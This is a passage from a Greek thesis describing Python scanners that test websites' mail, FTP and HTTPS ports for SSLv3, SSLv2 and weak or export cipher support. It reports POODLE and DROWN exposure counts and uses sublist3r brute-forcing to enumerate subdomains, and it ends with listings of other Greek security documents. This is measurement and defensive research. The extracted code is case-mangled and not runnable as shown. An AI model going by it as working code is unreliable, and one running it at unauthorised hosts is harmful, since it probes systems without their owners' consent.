110 return vuln_check # Else check for support of weak ciphers # print('i am here') (answer, starttls, stls, atls) = try2starttls(my_socket, host, port) if answer == NO_STARTTLS: return NO_STARTTLS vuln_check = try_sslv3_connection(answer, host, port) print(vuln_check) if vuln_check == 'SSLv3sup': write_line = "Server {0:s} on port {1:d} vulnerable! Supports SSLv3.\n".format(host, port) detailed_results_file.write(write_line) #print('server', host, 'On port', port, 'vulnerable.txt! Supports SSLv3.') return vuln_check else: write_line = "Server {0:s} on port {1:d} probably not vulnerable.\n".format(host, port) detailed_results_file.write(write_line) # print('server', host, 'On port', port, 'probably not vulnerable.txt') return vuln_check Η παραπάνω συνάρτηση προσπαθεί να εγκαθιδρύσει μια σύνδεση μέσω socket. Μετά από 3 αποτυχημένες προσπάθειες για εγκαθίδρυση σύνδεσης η ιστοσελίδα απορρίπτεται επιστρέφοντας μήνυμα αποτυχίας σύνδεσης. Σε περίπτωση που επιτευχθεί σύνδεση, τότε γίνεται έλεγχος αν βρισκόμαστε σε μία από τις πόρτες : 443, 465, 993, 995. Αν ναι,τότε καλείται η συνάρτηση try_sslv3_connection(my_socket, host, port). Συνάρτηση try_sslv3_connection(my_socket, host, port) def try_sslv3_connection(my_socket, host, port): print('server: ', host, 'Port:', port, 'Checking SSLv3 support...') #e = 'OK' try: my_sslcontext = ssl.sslcontext(ssl.protocol_sslv3) # my_sslcontext.set_ciphers('sslv3') my_sslsocket = my_sslcontext.wrap_socket(my_socket, do_handshake_on_connect=false) # my_sslsocket.connect((host, port)) my_sslsocket.do_handshake() except ssl.sslerror as e: #print('server', host, 'On port', port,'sslerror:', e) write_line = "Server {0:s} on port {1:d} SSLError: {2:s}\n".format(host, port, e) detailed_results_file.write(write_line) return 'NotSSLv3sup' except socket.error as e: #print('server', host, 'On port', port, 'Socket Error:', e) write_line = "Server {0:s} on port {1:d} Socket Error: {2:s}\n".format(host, port, e) detailed_results_file.write(write_line) 108

111 return 'NotSSLv3sup' else: return 'SSLv3sup' Η λειτουργία της συνάρτησης είναι να πραγματοποιήσει χειραψία με την ιστοσελίδα χρησιμοποιώντας σαν παράμετρο το πρωτόκολλο SSLv3. Η παραμετροποίηση για σύνδεση με πρωτόκολλο SSLv3 γίνεται με την συνάρτηση ssl.sslcontext(ssl.protocol_sslv3), όπου σαν παράμετρο δίνουμε το πρωτόκολλο. Η δοκιμή για SSL χειραψία επιτυγχάνεται με την συνάρτηση do_handshake(). Τέλος η συνάρτηση επιστρέφει τα ανάλογα αποτελέσματα: NotSSLv2sup ή SSLv2sup. Αφότου επιστρέψει αποτέλεσμα η συνάρτηση, Συνάρτηση try2starttls(my_socket, host, port): def try2starttls(my_socket, host, port): starttls_response = "n/a" starttls = False # imap_starttls = False stls = False atls = False try: if port in {25, 587}: # print('i am in') srv_response = my_socket.recv(socket_recv_size) my_socket.send("ehlo testing\r\n".encode('utf-8')) sys.stdout.flush() srv_response += my_socket.recv(socket_recv_size) print('response in EHLO:', srv_response.decode('utf-8')) if "starttls" in srv_response.decode('utf-8').lower(): starttls = True elif "stls" in srv_response.decode('utf-8').lower(): starttls = True stls = True else: write_line = "Server {0:s} probably doesn't support STARTTLS On Port {1:d}.\n".format(host, port) detailed_results_file.write(write_line) # print("server", host, "probably doesn't support STARTTLS On Port", port) return NO_STARTTLS, False, False, False elif port in {110, 143}: srv_response = my_socket.recv(socket_recv_size) if port == 110: my_socket.send("capa\r\n".encode('utf-8')) else: my_socket.send(". CAPABILITY\r\n".encode('utf-8')) sys.stdout.flush() srv_response += my_socket.recv(socket_recv_size) print(srv_response.decode('utf-8')) 109

112 if "starttls" in srv_response.decode('utf-8').lower(): starttls = True # imap_starttls = True elif "stls" in srv_response.decode('utf-8').lower(): starttls = True stls = True else: write_line = "Server {0:s} probably doesn't support STARTTLS On Port {1:d}.\n".format(host, port) detailed_results_file.write(write_line) # print("server", host, "probably doesn't support STARTTLS On Port", port) return NO_STARTTLS, False, False, False elif port in {21}: srv_response = my_socket.recv(socket_recv_size, ) my_socket.send("feat\r\n".encode('utf-8')) sys.stdout.flush() data = my_socket.recv(socket_recv_size) srv_response += data print(srv_response.decode('utf-8')) if "starttls" in srv_response.decode('utf-8').lower(): starttls = True elif "auth tls" in srv_response.decode('utf-8').lower(): starttls = True atls = True else: write_line = "Server {0:s} probably doesn't support STARTTLS On Port {1:d}.\n".format(host, port) detailed_results_file.write(write_line) return NO_STARTTLS, False, False, False except socket.error as e: write_line = "Server {0:s} on port {1:d}. Could not send command to check TLS capability. " \ "Socket Error: {2:s}. \n".format(host, port, e) detailed_results_file.write(write_line) return NO_STARTTLS, False, False, False try: if stls: my_socket.send("stls\r\n".encode('utf-8')) starttls_response = my_socket.recv(socket_recv_size) elif atls: my_socket.send("auth TLS\r\n".encode('utf-8')) starttls_response = my_socket.recv(socket_recv_size) else: if port == 143: my_socket.send(". STARTTLS\r\n".encode('utf-8')) starttls_response = my_socket.recv(socket_recv_size) print(starttls_response.decode('utf-8')) else: my_socket.send("starttls\r\n".encode('utf-8')) starttls_response = my_socket.recv(socket_recv_size) print(starttls_response.decode('utf-8')) #sys.stdout.flush() # srv_response = my_socket.recv(socket_recv_size) except socket.error as e: if isinstance(starttls_response, str): write_line = "Server {0:s} on port {1:d}. Socket Error: {2:s}. Could not send STARTTLS command." \ " - starttls_response: {3:s}\n".format(host, port, e, starttls_response) 110

113 detailed_results_file.write(write_line) # print("port", port, "On", host, "Error:", e, ".", "Could not send STARTTLS command") else: write_line = "Server {0:s} on port {1:d}. Socket Error: {2:s}." \ " - starttls_response: {3:s}\n".format(host, port, e,starttls_response.decode('utf-8')) detailed_results_file.write(write_line) return NO_STARTTLS, False, False, False return my_socket, starttls, stls, atls Η συνάρτηση αυτή στέλνει την σωστή εντολή αναλόγως την θύρα, για να ελέγξει εάν ο εξυπηρετητής υποστηρίζει πρωτόκολλο TSL στην συγκεκριμένη θύρα. Εάν υποστηρίζει, στέλνει την αντίστοιχη εντολή προκειμένου να ξεκινήσει η διαπραγμάτευση για σύνδεση TLS στην θύρα. Εάν όλη η διαδικασία κυλήσει ομαλά, επιστρέφει το socket, True για το starttls και True ή False για stls ή atls, εξαρτώμενο από την απάντηση του ελέγχου για υποστήριξη TLS επικοινωνίας. Εάν υπάρξει πρόβλημα, επιστρέφει NO_STARTTLS και false για startls,stls και atls. Το socket my_socket δημιουργήθηκε καλώντας την συνάρτηση poodlevuln_check(). host είναι ο εξυπηρετητής στον οποίο θα γίνει η TLS διαπραγμάτευση. port θα είναι η θύρα του εξυπηρετητή. return η επιστροφή του socket και των παραμέτρων starttls,stls,atls. 111

114 5.c.3 Αποτελέσματα (SSL 3.0) Κατάσταση Αριθμός Ιστοσελίδων Υποστηρίζουν SSLv3 910 Δεν είναι ευάλωτες 2840 Δεν συνδέθηκαν 812 Πίνακας 5.c.3 (1): Αποτελέσματα για χρήση SSLv3 SSLv3 Support (numerical) Servers failed to connect Vulnerable Servers not vulnerable (probably) SSLv3 Support (%) 18% 20% 62% Servers failed to connect Servers supporting SSLv3 Servers not vulnerable (probably) Σχήμα 5.c.3 : Ιστοσελίδες που υποστηρίζουν SSLv3 (αριθμητικά και επί τοις εκατό αντίστοιχα) Πρωτόκολλο Θύρα Ιστοσελίδες που Υποστηρίζουν SSLv3 (ανά θύρα) SMTP 25 0 POP IMAP HTTPS SMTP SMTPS IMAPS POP3S FTP Πίνακας 5.c.3(2) : Ιστοσελίδες που υποστηρίζουν SSLv3 ανά θύρα 112

115 Στην συνέχεια από τις ιστοσελίδες που υποστηρίζουν SSL 3.0 πραγματοποιήθηκε σάρωση για το πόσες υποστηρίζουν κρυπτογράφηση με λειτουργία CBC (πόσες δηλαδή είναι ευάλωτες στην επίθεση POODLE). Αυτό θα επιτευχθεί εντοπίζοντας ποιες από αυτές τις ιστοσελίδες χρησιμοποιούν κρυπτογραφικούς αλγόριθμους λειτουργίας CBC. Χρησιμοποιώντας το OpenSSL με την εντολή : ciphers v ssl3 ALL:!RC4 Εμφανίζονται όλοι οι κρυπτογραφικοί αλγόριθμοι που χρησιμοποιεί το SSLv3 ταξινομημένοι, πλην αυτών με κρυπτογράφηση RC4. Από όλους επιλέξαμε τους εξής δέκα με κριτήρια i) την πρόταση του για ciphers που πρέπει να γίνουν disable και ii) την Κρυπτογραφική ισχύ. 'EXP-DES-CBC-SHA','DES-CBC-SHA','EXP-ADH-DES-CBC-SHA','ADH-DES-CBC3-SHA', 'EXP-RC2-CBC-MD5','EXP-DES-CBC-SHA','DES-CBC-SHA','DES-CBC3-SHA','ADH-DES-CBC-SHA', 'ADH-DES-CBC3-SHA' 5.c.4 Κώδικας(2) ciphers = ['EXP-DES-CBC-SHA','DES-CBC-SHA','EXP-ADH-DES-CBC- SHA','ADH-DES-CBC3-SHA','EXP-RC2-CBC-MD5','EXP-DES-CBC-SHA','DES-CBC- SHA','DES-CBC3-SHA','ADH-DES-CBC-SHA','ADH-DES-CBC3-SHA'] ports = [443, 465, 25, 587, 110, 143, 993, 995, 21] 113

116 def try_weakcipher_connection(host, port, starttls=none, stls=none, atls=none): print('server: ', host, 'Port:', port, "Checking for SSLv3 CBC ciphers support...") starttls_response = "n/a" checked = False #err = 'OK' for cipher in ciphers: # Recreate socket my_socket = socket.socket(socket.af_inet, socket.sock_stream) my_socket.settimeout(socket_timeout) try: my_socket.connect((host, port)) except socket.error: try: my_socket.connect((host, port)) except socket.error: try: my_socket.connect((host, port)) except socket.error as e: write_line = "Server {0:s} on port {1:d}. Couldn't connect for checking {2:s} cipher support." \ " Socket error {3:s}\n".format(host, port, cipher, e) detailed_results_file.write(write_line) continue try: if starttls: sys.stdout.flush() srv_response = my_socket.recv(socket_recv_size) print(srv_response.decode('utf-8')) if stls: print('stls') my_socket.send("stls\r\n".encode('utf-8')) starttls_response = my_socket.recv(socket_recv_size) print(starttls_response.decode('utf-8')) elif atls: print('atls') my_socket.send("auth TLS\r\n".encode('utf-8')) starttls_response = my_socket.recv(socket_recv_size) print(starttls_response.decode('utf-8')) else: if port == 143: my_socket.send(". STARTTLS\r\n".encode('utf- 8')) starttls_response = my_socket.recv(socket_recv_size) print(starttls_response.decode('utf-8')) else: my_socket.send("starttls\r\n".encode('utf- 8')) starttls_response = my_socket.recv(socket_recv_size) print(starttls_response.decode('utf-8')) except socket.error as e: if isinstance(starttls_response, str): write_line = "Server {0:s} on port {1:d}. Couldn't 114

117 send command to start TLS" \ "for checking {2:s} cipher support. Socket Error: {3:s}." \ " - starttls_response: {4:s}\n".format(host, port, cipher, e, starttls_response) detailed_results_file.write(write_line) else: write_line = "Server {0:s} on port {1:d}. Couldn't start tls " \ "for checking {2:s} cipher support. Socket Error: {3:s}.\ - starttls_response: {4:s}\n".format(host, port, cipher, e, starttls_response.decode('utf- 8')) detailed_results_file.write(write_line) continue checked = True try: my_sslcontext = ssl.sslcontext(ssl.protocol_sslv3) my_sslcontext.set_ciphers(cipher) my_sslsocket = my_sslcontext.wrap_socket(my_socket) # my_sslsocket.connect((host, port)) my_sslsocket.do_handshake() write_line = "Server {0:s} on port {1:d} vulnerable Supports CBC cipher: {2:s}\n".format(host, port, cipher) detailed_results_file.write(write_line) SSLv2ciphersupport = True return 'SSLv3ciphersup' except ssl.sslerror as e: write_line = "Server {0:s} on port {1:d} for cipher {2:s} SSLError: {3:s}\n".format(host, port, cipher, e) detailed_results_file.write(write_line) # print('server', host, 'On port', port, 'for cipher', cipher, 'SSLError:', e) my_socket.close() continue except socket.error as e: write_line = "Server {0:s} on port {1:d} for cipher {2:s} Socket Error: {3:s}\n".format(host, port, cipher, e) detailed_results_file.write(write_line) my_socket.close() #print('server', host, 'On port', port, 'for cipher', cipher, 'Socket Error:', e) continue if checked: return 'NotSSLv3ciphersup' else: return 'NotChecked' 115

118 5.c.5 Τελικά Αποτελέσματα Στην συνέχεια πραγματοποιείται η διαδικασία ανίχνευσης από 910 ιστοσελίδες που υποστηρίζουν SSLv3. Τα αποτελέσματα είναι τα εξής : Vulnerable to POODLE (%) 98% 2% Servers not supporting CBC Servers supporting CBC ciphers Vulnerable to Poodle (Numerical) Servers not supporting CBC Servers supporting CBC ciphers Σχήμα 5.c.5(1) : Ιστοσελίδες που είναι ευάλωτες στην POODLE (επί τοις εκατό και αριθμητικά αντίστοιχα) Συνολικά λοιπόν έχουμε : Vulnerable to POODLE (total) 2840 (62%) 22 (1%) 812 (18%) 888 (19%) Servers failed to connect Vulnerable Servers not vulnerable (probably) Servers with SSLv3 but not vulnerable Σχήμα 5.c.5(2) : τελικά αποτελέσματα για POODLE 116

119 5.d Ανίχνευση για ευπάθεια ενάντια σε DROWN Η ανίχνευση αφορά την General DROWN. Σε γλώσσα Python 3.2 θα δουλέψουμε ουσιαστικά με τον κώδικα που χρησιμοποιήσαμε για την επίθεση POODLE με ένα επιπλέον κομμάτι. Το συγκεκριμένο εργαλείο ανίχνευσης θα ελέγχει αν οι ιστοσελίδες : α) Είτε υποστηρίζουν πρωτόκολλο SSL v2.0. β) Είτε υποστηρίζουν πρωτόκολλο SSL v2.0 και υποστηρίζουν και export chippers. γ) Ένας εξυπηρετητής της υποδομής του web server υποστηρίζει κάτι από τα παραπάνω, καθιστώντας ολόκληρη την υποδομή ευάλωτη. Η σάρωση θα χωριστεί σε δύο φάσεις. 5.d.1 1η φάση Στην πρώτη φάση θα εξετάσουμε το ενδεχόμενο α και στην συνέχεια το β 117

120 5.d.1.1 Διάγραμμα ροής για DROWN 118

121 Λόγω αλλαγών στον κώδικα, Το τμήμα για την ανίχνευση export cipher δεν αντιστοιχεί στο παραπάνω διάγραμμα ροής, ωστόσο η λογική για την ανίχνευση του SSLv2 παραμένει ίδια. 5.d.1.2 Κώδικας Παρακάτω φαίνεται ο κώδικας της κύριας συνάρτησης. Μέσω αυτής της συνάρτησης γίνεται ο έλεγχος για τα α και β. Οι πόρτες που θα χρησιμοποιηθούν για την ανίχνευσης της ευπάθειας είναι οι εξής : [443, 465, 25, 587, 110, 143, 993, 995, 21] Χρησιμοποιήθηκε παρόμοιος κώδικας με την POODLE με διαφορά στην συνάρτηση : try_sslv2_connection(my_socket,host,port) def try_sslv2_connection(my_socket, host, port): print('server: ', host, 'Port:', port, 'Checking SSLv2 support...') #e = 'OK' try: my_sslcontext = ssl.sslcontext(ssl.protocol_sslv2) # my_sslcontext.set_ciphers('sslv2') my_sslsocket = my_sslcontext.wrap_socket(my_socket, do_handshake_on_connect=false) # my_sslsocket.connect((host, port)) my_sslsocket.do_handshake() except ssl.sslerror as e: #print('server', host, 'On port', port,'sslerror:', e) write_line = "Server {0:s} on port {1:d} SSLError: {2:s}\n".format(host, port, e) detailed_results_file.write(write_line) return 'NotSSLv2sup' except socket.error as e: #print('server', host, 'On port', port, 'Socket Error:', e) write_line = "Server {0:s} on port {1:d} Socket Error: {2:s}\n".format(host, port, e) detailed_results_file.write(write_line) return 'NotSSLv2sup' else: return 'SSLv2sup' Πιο συγκεκριμένα, στην παράμετρο της συνάρτησης ssl.sslcontext(ssl.protocol_sslv2), αυτή την φορά θέσαμε σαν πρωτόκολλο επικοινωνίας το πρωτόκολλο SSLv2. 119

122 Τα αποτελέσματα ανίχνευσης για το ενδεχόμενο α είναι τα εξής : Support SSLv2(numerical) Failed to connect Vulnerable Servers prob not vulnerable 81% Support SSLv2 (%) 16% 3% Failed to connect Servers supporting SSLv2 Servers prob not vulnerable Σχήμα 5.d.1.2 : Ιστοσελίδες που υποστηρίζουν SSL 2.0 Πρωτόκολλο Θύρα Ιστοσελίδες που Υποστηρίζουν SSLv2 (ανά θύρα) SMTP POP IMAP HTTPS SMTP SMTPS IMAPS POP3S FTP Πίνακας 5.d.1.2 : Ευάλωτες ιστοσελίδες ανά θύρα Στην συνέχεια εξετάζουμε τις περιπτώσεις όπου οι ευάλωτες ιστοσελίδες που χρησιμοποιούν SSLv2 υποστηρίζουν και Export Ciphers, πράγμα που καθιστά την επίθεση ευκολότερη για τον εισβολέα. 120

123 Χρησιμοποιώντας το OpenSSL με την εντολή ciphers -v -ssl2 εμφανίζεται μια λίστα με όλα τα ciphers ταξινομημένα βάση κρυπτογραφικής ισχύος, που χρησιμοποιεί το SSL 2.0. Από αυτά θα επιλέξουμε τα export ciphers EXP-RC4-MD4, ΕXP-RC2-CBC-MD5 για να πραγματοποιήσουμε την σάρωση. Χρησιμοποιώντας την συνάρτηση try_weakcipher_connection, που χρησιμοποιήθηκε για την POODLE,θέτουμε σαν πρωτόκολλο επικοινωνίας το SSLv2 και στην συνέχεια θέτουμε ως ciphers για την επικοινωνία τα EXP-RC4-MD4, ΕXP-RC2-CBC-MD5 (ένα κάθε φορά). try: my_sslcontext = ssl.sslcontext(ssl.protocol_sslv2) my_sslcontext.set_ciphers(cipher) my_sslsocket = my_sslcontext.wrap_socket(my_socket) # my_sslsocket.connect((host, port)) my_sslsocket.do_handshake() write_line = "Server {0:s} on port {1:d} vulnerable Supports CBC cipher: {2:s}\n".format(host, port, cipher) detailed_results_file.write(write_line) SSLv2ciphersupport = True return 'SSLv2ciphersup' except ssl.sslerror as e: 5.d.1.3 Αποτελέσματα Τα αποτελέσματα για το πόσες ιστοσελίδες χρησιμοποιούν SSLv2 και export ciphers είναι : Servers with SSLv2 Export Ciphers (%) 2% 1% 16% Servers prob not vulnerable Servers supporting SSLv2 81% Servers supporting SSLv2 with Export ciphers Failed to connect Σχήμα 5.d.1.3(1): Ιστοσελίδες που υποστηρίζουν SSLv2 με export ciphers (επί τοις εκατό) 121

124 Servers with SSLv2 Export Ciphers(numerical) Servers prob not vulnerable Servers supporting SSLv Servers supporting SSLv2 with Export ciphers Failed to connect Σχήμα 5.d.1.3(2) : Ιστοσελίδες που υποστηρίζουν SSLv2 με export ciphers. (αριθμητικά) 5.d.2 2η φάση Από τους πιθανώς μη ευάλωτους servers που προέκυψαν από την 1 η φάση, συλλέγουμε τα subdomains με τον παρακάτω κώδικα και για κάθε subdomain από αυτούς εφαρμόζουμε την μέθοδο της 1 η φάσης. Εάν ένα από τα subdomains υποστηρίζει SSLv2 τότε όλη η υποδομή είναι ευάλωτη. 5.d.2.1 Κώδικας Ο κώδικας για την 2 η φάση είναι ο εξής : import sublist3r import time input = open('domains.txt','r') output = open('results.txt','a') 122

125 for line in input: if 'blogspot' not in line: domain = line.strip("\n") output.write("domain :" + domain + '\n') print 'At (',time.localtime()[3],':',time.localtime()[4],") started searchinng for",domain for d in sublist3r.subbrute.run(domain): print d[0] output.write(d[0]+'\n') output.flush() input.close() output.close() Η λειτουργία του κώδικα βασίζεται σε ένα έτοιμο εργαλείο, το sublister. Το sublister είναι ένα εργαλείο σε γλώσσα Python που σχεδιάστηκε για να αριθμεί υποdomains από ιστοσελίδες χρησιμοποιώντας μηχανές αναζήτησης. Το sublister υποστηρίζει τις εξής μηχανές αναζήτησης : Google, Yahoo, Bing, Baidu και Ask. Επιπλέον για να συλλέξει subdomains,το sublist3r χρησιμοποιεί τις υπηρεσίες των Netcraft, Virustotal, ThreatCrowd, DNSdumpster και PassiveDNS. Τέλος χρησιμοποιεί ένα module,το subbrute αυξάνοντας την πιθανότητα εύρεσης subdomain με την μέθοδο bruteforce. 5.d.2.2 Αποτελέσματα 2 η φάση Τα αποτελέσματα για την 2 η φάση : Subdomains with SSLv2 109 (3%) 3574 (97%) Flawed infrastructure Not vulnerable Σχήμα 5.d.2.2 : Αποτελέσματα υποδομών για SSLv2 Από τις 3683 πιθανώς μη ευάλωτες ιστοσελίδες βρέθηκαν 109 των οποίων κάποια υπηρεσία ή εξυπηρετητής της υποδομής τους υποστηρίζει SSLv2. 123

126 5.d.3 Τελικά Αποτελέσματα Άρα οι ιστοσελίδες που είναι ευπαθείς στην DROWN είναι : Servers vulnerable to DROWN Failed to connect Vulnerable Servers prob not vulnerable 721 (16%) 267 (6%) 3574 (78%) Σχήμα 5.d.3 : ιστοσελίδες ευπαθείς στην Drown 5.e Ανίχνευση Αδύναμων αλγόριθμων κρυπτογράφησης Για περαιτέρω μελέτη έγινε έλεγχος αν οι ιστοσελίδες υποστηρίζουν αδύναμα ciphers,συγκεκριμένα (RC4-MD5 και EXP-RC4-MD5), παρότι χρησιμοποιούν ισχυρά πρωτόκολλα (TLS 1.0 και μεταγενέστερα ). Χρησιμοποιώντας την συνάρτηση try_weakcipher_connection def try_weakcipher_connection(host, port, starttls=none, stls=none, atls=none): print('server: ', host, 'Port:', port, "Checking for SSLv3 CBC ciphers support...") starttls_response = "n/a" checked = False #err = 'OK' for cipher in ciphers: # Recreate socket 124

127 my_socket = socket.socket(socket.af_inet, socket.sock_stream) my_socket.settimeout(socket_timeout) try: my_socket.connect((host, port)) except socket.error: try: my_socket.connect((host, port)) except socket.error: try: my_socket.connect((host, port)) except socket.error as e: write_line = "Server {0:s} on port {1:d}. Couldn't connect for checking {2:s} cipher support." \ " Socket error {3:s}\n".format(host, port, cipher, e) detailed_results_file.write(write_line) continue try: if starttls: sys.stdout.flush() srv_response = my_socket.recv(socket_recv_size) print(srv_response.decode('utf-8')) if stls: print('stls') my_socket.send("stls\r\n".encode('utf-8')) starttls_response = my_socket.recv(socket_recv_size) print(starttls_response.decode('utf-8')) elif atls: print('atls') my_socket.send("auth TLS\r\n".encode('utf-8')) starttls_response = my_socket.recv(socket_recv_size) print(starttls_response.decode('utf-8')) else: if port == 143: my_socket.send(". STARTTLS\r\n".encode('utf- 8')) starttls_response = my_socket.recv(socket_recv_size) print(starttls_response.decode('utf-8')) else: my_socket.send("starttls\r\n".encode('utf- 8')) starttls_response = my_socket.recv(socket_recv_size) print(starttls_response.decode('utf-8')) except socket.error as e: if isinstance(starttls_response, str): write_line = "Server {0:s} on port {1:d}. Couldn't send command to start TLS" \ "for checking {2:s} cipher support. Socket Error: {3:s}." \ " - starttls_response: {4:s}\n".format(host, port, cipher, e, starttls_response) detailed_results_file.write(write_line) else: write_line = "Server {0:s} on port {1:d}. Couldn't start tls " \ "for checking {2:s} cipher support. Socket Error: {3:s}.\ - starttls_response: {4:s}\n".format(host, port, 125

128 cipher, e, starttls_response.decode('utf-8')) detailed_results_file.write(write_line) continue checked = True try: my_sslcontext = ssl.sslcontext(ssl.protocol_sslv23) my_sslcontext.set_ciphers(cipher) my_sslsocket = my_sslcontext.wrap_socket(my_socket) # my_sslsocket.connect((host, port)) my_sslsocket.do_handshake() write_line = "Server {0:s} on port {1:d} vulnerable Supports CBC cipher: {2:s}\n".format(host, port, cipher) detailed_results_file.write(write_line) SSLv2ciphersupport = True return 'SSLv3ciphersup' except ssl.sslerror as e: write_line = "Server {0:s} on port {1:d} for cipher {2:s} SSLError: {3:s}\n".format(host, port, cipher, e) detailed_results_file.write(write_line) # print('server', host, 'On port', port, 'for cipher', cipher, 'SSLError:', e) my_socket.close() continue except socket.error as e: write_line = "Server {0:s} on port {1:d} for cipher {2:s} Socket Error: {3:s}\n".format(host, port, cipher, e) detailed_results_file.write(write_line) my_socket.close() # print('server', host, 'On port', port, 'for cipher', cipher, 'Socket Error:', e) continue if checked: return 'NotSSLv3ciphersup' else: return 'NotChecked' Η λειτουργία της συνάρτησης παραμένει ίδια, με διαφορά την αλλαγή μιας συγκεκριμένης παραμέτρου στην εντολή my_sslcontext = ssl.sslcontext(ssl.protocol_sslv23).. Η παράμετρος ssl.protocol_sslv23 σηματοδοτεί την επικοινωνία με το μεταγενέστερο πρωτόκολλο που χρησιμοποιεί ο εξυπηρετητής. Στην συνέχεια με την εντολή my_sslcontext.set_ciphers(cipher) θέτουμε σαν ciphers της επικοινωνίας τα RC4-MD5 και EXP-RC4-MD5 my_sslcontext.set_ciphers(cipher) Απο την σάρωση που πραγματοποιήθηκε, τα αποτελέσματα που προέκυψαν είναι τα εξής : 126

129 Σχήμα 5.e : ιστοσελίδες που υποστηρίζουν αδύναμα ciphers Από τις 4562 ιστοσελίδες οι 1448 υποστηρίζουν αλγόριθμο κρυπτογράφησης RC4-MD5 και 171 υποστηρίζουν αλγόριθμο κρυπτογράφησης EXP-RC4-MD5, ενώ χρησιμοποιούν πρωτόκολλα ασφαλείας TLS1.0,TLS1.1 και TLS1.2. Οι αλγόριθμοι κρυπτογράφησης αυτοί χρήζουν αντικατάστασης, με τον RC4-MD5 να θεωρείται αδύναμος [30],[40] και τον EXP- RC4-MD5 ανασφαλής, λόγω των λιγοστών bit που χρησιμοποιεί για κρυπτογράφηση. 127

Εργαστήριο Ασφάλεια Πληροφοριακών Συστημάτων SSL/TLS

Εργαστήριο Ασφάλεια Πληροφοριακών Συστημάτων SSL/TLS Εργαστήριο Ασφάλεια Πληροφοριακών Συστημάτων SSL/TLS Fysarakis Konstantinos, PhD kfysarakis@staff.teicrete.gr » Το SSL (Secure Sockets Layer) αναπτύχθηκε από την εταιρεία Netscape. Η έκδοση 1.0 δεν παρουσιάστηκε

Διαβάστε περισσότερα

1. Τι είναι ακεραιότητα δεδομένων, με ποιους μηχανισμούς επιτυγχάνετε κ πότε θα χρησιμοποιούσατε τον καθένα εξ αυτών;

1. Τι είναι ακεραιότητα δεδομένων, με ποιους μηχανισμούς επιτυγχάνετε κ πότε θα χρησιμοποιούσατε τον καθένα εξ αυτών; 1. Τι είναι ακεραιότητα δεδομένων, με ποιους μηχανισμούς επιτυγχάνετε κ πότε θα χρησιμοποιούσατε τον καθένα εξ αυτών; Η ακεραιότητα δεδομένων(data integrity) Είναι η ιδιότητα που μας εξασφαλίζει ότι δεδομένα

Διαβάστε περισσότερα

ΠΡΟΣΤΑΣΙΑ ΠΡΟΣΩΠΙΚΩΝ ΔΕΔΟΜΕΝΩΝ ΣΤΙΣ ΤΕΧΝΟΛΟΓΙΕΣ ΠΛΗΡΟΦΟΡΙΚΗΣ ΚΑΙ ΕΠΙΚΟΙΝΩΝΙΩΝ ΚΑΘΩΣ ΚΑΙ ΣΤΟ ΔΙΑΔΙΚΤΥΟ

ΠΡΟΣΤΑΣΙΑ ΠΡΟΣΩΠΙΚΩΝ ΔΕΔΟΜΕΝΩΝ ΣΤΙΣ ΤΕΧΝΟΛΟΓΙΕΣ ΠΛΗΡΟΦΟΡΙΚΗΣ ΚΑΙ ΕΠΙΚΟΙΝΩΝΙΩΝ ΚΑΘΩΣ ΚΑΙ ΣΤΟ ΔΙΑΔΙΚΤΥΟ ΠΡΟΣΤΑΣΙΑ ΠΡΟΣΩΠΙΚΩΝ ΔΕΔΟΜΕΝΩΝ ΣΤΙΣ ΤΕΧΝΟΛΟΓΙΕΣ ΠΛΗΡΟΦΟΡΙΚΗΣ ΚΑΙ ΕΠΙΚΟΙΝΩΝΙΩΝ ΚΑΘΩΣ ΚΑΙ ΣΤΟ ΔΙΑΔΙΚΤΥΟ ΔΙΑΔΙΚΤΥΟ Το διαδίκτυο προσφέρει: Μετατροπή των δεδομένων σε ψηφιακή - ηλεκτρονική μορφή. Πρόσβαση

Διαβάστε περισσότερα

Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Εισαγωγή στην Επιστήμη των Υπολογιστών Ασφάλεια Δεδομένων.

Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Εισαγωγή στην Επιστήμη των Υπολογιστών Ασφάλεια Δεδομένων. Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής στην Επιστήμη των Υπολογιστών 2015-16 Ασφάλεια Δεδομένων http://www.ionio.gr/~mistral/tp/csintro/ Μ.Στεφανιδάκης Οι απειλές Ένας κακόβουλος χρήστης Καταγράφει μηνύματα

Διαβάστε περισσότερα

Ηλεκτρονικό εμπόριο. HE 7 Τεχνολογίες ασφάλειας

Ηλεκτρονικό εμπόριο. HE 7 Τεχνολογίες ασφάλειας Ηλεκτρονικό εμπόριο HE 7 Τεχνολογίες ασφάλειας Πρόκληση ανάπτυξης ασφαλών συστημάτων Η υποδομή του διαδικτύου παρουσίαζε έλλειψη υπηρεσιών ασφάλειας καθώς η οικογένεια πρωτοκόλλων TCP/IP στην οποία στηρίζεται

Διαβάστε περισσότερα

Εισαγωγή στην επιστήμη της Πληροφορικής και των Τηλεπικοινωνιών. Aσφάλεια

Εισαγωγή στην επιστήμη της Πληροφορικής και των Τηλεπικοινωνιών. Aσφάλεια Εισαγωγή στην επιστήμη της Πληροφορικής και των Τηλεπικοινωνιών Aσφάλεια ΣΤΟΧΟΙ ΚΕΦΑΛΑΙΟΥ Ορισµός τριών στόχων ασφάλειας - Εµπιστευτικότητα, ακεραιότητα και διαθεσιµότητα Επιθέσεις Υπηρεσίες και Τεχνικές

Διαβάστε περισσότερα

Οι απειλές. Απόρρητο επικοινωνίας. Αρχές ασφάλειας δεδομένων. Απόρρητο (privacy) Μέσω κρυπτογράφησης

Οι απειλές. Απόρρητο επικοινωνίας. Αρχές ασφάλειας δεδομένων. Απόρρητο (privacy) Μέσω κρυπτογράφησης Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής στην Επιστήμη των Υπολογιστών 2014-015 Ασφάλεια Δεδομένων http://www.ionio.gr/~mistral/tp/csintro/ Οι απειλές Ένας κακόβουλος χρήστης Καταγράφει μηνύματα που ανταλλάσσονται

Διαβάστε περισσότερα

Δίκτυα Υπολογιστών Ενότητα 6: Secure Sockets Layer - SSL

Δίκτυα Υπολογιστών Ενότητα 6: Secure Sockets Layer - SSL Δίκτυα Υπολογιστών Ενότητα 6: Secure Sockets Layer - SSL Μιχάλας Άγγελος Τμήμα Μηχανικών Πληροφορικής ΤΕ Άδειες Χρήσης Το παρόν εκπαιδευτικό υλικό υπόκειται σε άδειες χρήσης Creative Commons. Για εκπαιδευτικό

Διαβάστε περισσότερα

ΚΡΥΠΤΟΓΡΑΦΙΑ ΚΑΙ ΑΣΦΑΛΕΙΑ ΥΠΟΛΟΓΙΣΤΩΝ. Δ Εξάμηνο

